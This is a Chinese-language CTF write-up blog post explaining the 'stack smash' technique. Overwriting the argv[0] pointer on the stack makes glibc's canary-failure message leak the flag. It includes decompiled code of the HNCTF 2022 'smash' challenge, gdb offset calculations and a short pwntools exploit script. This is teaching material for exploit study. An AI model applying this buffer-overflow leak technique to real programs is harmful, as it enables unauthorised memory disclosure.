花式栈溢出技巧

刷题时遇到的一些,记录下来^^

Stack smash

原理

当开启了 canary 的程序,如果栈上那个特定值被覆盖掉,就会报错并调用 __stack_chk_fail

该函数

1
2
3
4
5
6
7
8
9
10
11
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

可以看到会调用底下那个函数,而底下那个函数会打印 __libc_argv[0] 所指向的内容,恰好该指针又在栈上

正常情况下是指向文件名的

如果栈溢出很大,足够将该指针覆盖成指向重要信息的指针(比如说 flag 啥的),就可以打印该信息了

2.31后就用不了了,因为不会打印这个指针了

例题

[HNCTF 2022 WEEK3]smash

checksec

1
2
3
4
5
6
7
8
9
[*] '/home/yyyffff/nss/[HNCTF_2022_WEEK3]smash/smash'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
int fd; // [rsp+Ch] [rbp-114h]
char v5[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+118h] [rbp-8h]

v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
fd = open("flag", 0);
if ( !fd )
{
puts("Open Err0r.");
exit(-1);
}
read(fd, &buf, 0x100uLL); // 将 flag 写入到了 buf
puts("Good Luck.");
gets(v5); //没有限制长度
return 0;
}

思路

将 __libc_argv[0] 覆盖成 buf 地址即可

用 gdb 查看 __libc_argv[0] 地址

1
2
3
4
5
23:0118-008 0x7fffffffd658 ◂— 0x2fc196184ebb6e00
24:0120│ rbp 0x7fffffffd660 —▸ 0x4012f0 (__libc_csu_init) ◂— endbr64
25:0128│+008 0x7fffffffd668 —▸ 0x7ffff7820840 (__libc_start_main+240) ◂— mov edi, eax
26:0130│+010 0x7fffffffd670 ◂— 1
27:0138│+018 0x7fffffffd678 —▸ 0x7fffffffd748 —▸ 0x7fffffffdb96 ◂— '/home/yyyffff/nss/[HNCTF_2022_WEEK3]smash/smash'

计算需要填充的大小

1
2
pwndbg> distance 0x7fffffffd748 0x7fffffffd550
0x7fffffffd748->0x7fffffffd550 is -0x1f8 bytes (-0x3f words)

exp

1
2
3
4
5
6
7
from pwn import *
r=process('./smash')
#r=remote("node5.anna.nssctf.cn",27529)
r.recv()
payload=b'a'*0x1f8+p64(0x404060)
r.sendline(payload)
r.interactive()

效果如下


花式栈溢出技巧
http://yyyffff.github.io/2025/08/07/花式栈溢出技巧/
作者
yyyffff
发布于
2025年8月7日
许可协议